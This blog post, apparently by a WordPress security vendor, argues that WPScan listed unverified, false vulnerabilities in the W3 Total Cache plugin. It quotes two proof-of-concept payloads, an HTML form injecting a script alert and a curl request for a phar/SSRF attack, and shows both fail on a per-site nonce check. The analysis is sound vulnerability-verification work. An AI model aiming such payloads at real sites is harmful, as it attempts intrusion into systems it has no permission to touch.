WPScan Vulnerability Database Spreads Easily Checkable False Claims of Vulnerabilities in W3 Total Cache

W3 Total Cache is one of the most popular plugins in the WordPress’ Plugin Directory, with 1+ million active installations according to wordpress.org. Last week a new version was released where one of the changelog entries is “Improved security on calls to opcache flush”. Notable it didn’t claim that any vulnerabilities were fixed in that, but if you were relying on other data sources on vulnerabilities in WordPress plugins you were told that there were two ones fixed related to that change, which clearly shows that these other data sources don’t actually confirm or validate claimed vulnerabilities before adding to their data set.

The main culprit for that situation was the WPScan Vulnerability Database which was the source others like WPCampus and ThreatPress then copied their data from.

What makes this stand out is how easy it would have been to see something was amiss, as for one of the claimed vulnerabilities, a cross-site scripting (XSS) vulnerability, there was a proof of concept that could have been easily tested. Here is that proof of concept:

<!DOCTYPE html>
<html>
<body>
     <form action="http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php" method="POST">
         <input type="text" name="nonce" value="974ca6ad15021a6668e7ae02e1be551c">
         <input type="text" name="command" value="<script>alert(1)</script>">
         <input type="submit" name="">
     </form>
</body>
</html>

All we needed to do test that out was to install a copy of the previous version of the plugin then change the domain name in the proof of concept, and then try it.

We tried that out and the result was this message:

Unauthorized access.

If the proof of concept worked there should have instead been an alert box display the number 1.

So what went wrong? There was security in place already.

The proof of concept sends a request to the file /pub/opcache.php in the plugin. The message shown above occurs if an else statement runs:

} else {
	header( $_SERVER["SERVER_PROTOCOL"] . " 401" );
	die( "Unauthorized access. " );
}

That runs if the following isn’t true:

29	if ( hash_equals( wp_hash( $uri ), $nonce ) ) {

That relies on a variable defined right above it:

27
28

$nonce = \W3TC\Util_Request::get_string( 'nonce' );
$uri = $_SERVER['REQUEST_URI'];

So that code checks if the value of the GET or POST input “nonce” equals the value of passing the path of the URL being requested through the wp_hash() function. That value is different for each WordPress installation since it uses a salt that comes from the function wp_salt(). So the proof of concept only worked in the test environment of the person behind the claim, but wouldn’t work elsewhere.

The proof of concept for the second claimed one, a SSRF / RCE via phar vulnerability, has the same nonce issue:

curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/'

This seems like a great example of why proof of concepts are important since if you just looked at the changes made to that file then you could have missed this since there were changes made related to both of those items, but they didn’t actually fix vulnerabilities, just improve security as the changelog stated.

WPScan Vulnerability Database Isn’t Verifying Vulnerabilities

This isn’t the first time that the WPScan Vulnerability Database has included a false report in their data, but this is the first time we can recall they claimed that the vulnerabilities were verified:

Usually they don’t claim that vulnerabilities have been verified, so that stands out. Either they are not telling the truth about verifying them or they are unable to handle that, since it was quite easy to do that here.

Avoiding Low Quality Data

In this situation the negative impact is limited since the vulnerability was claimed to have been fixed, but in other instances other data sources have included false claims and claimed the vulnerability hasn’t been fixed. Where things get much worse is that often times it is claimed by everyone in the process that vulnerabilities have been fixed when they haven’t. Notifying you that a plugin you use has had a vulnerability that has been fixed when it hasn’t, makes the data source largely useless, unless you have the time and expertise to check things over yourself. That is where our service really shines since we actually do the work to check things over for you and if you have questions about the vulnerabilities we are can provide you answers from someone actually familiar with the vulnerability.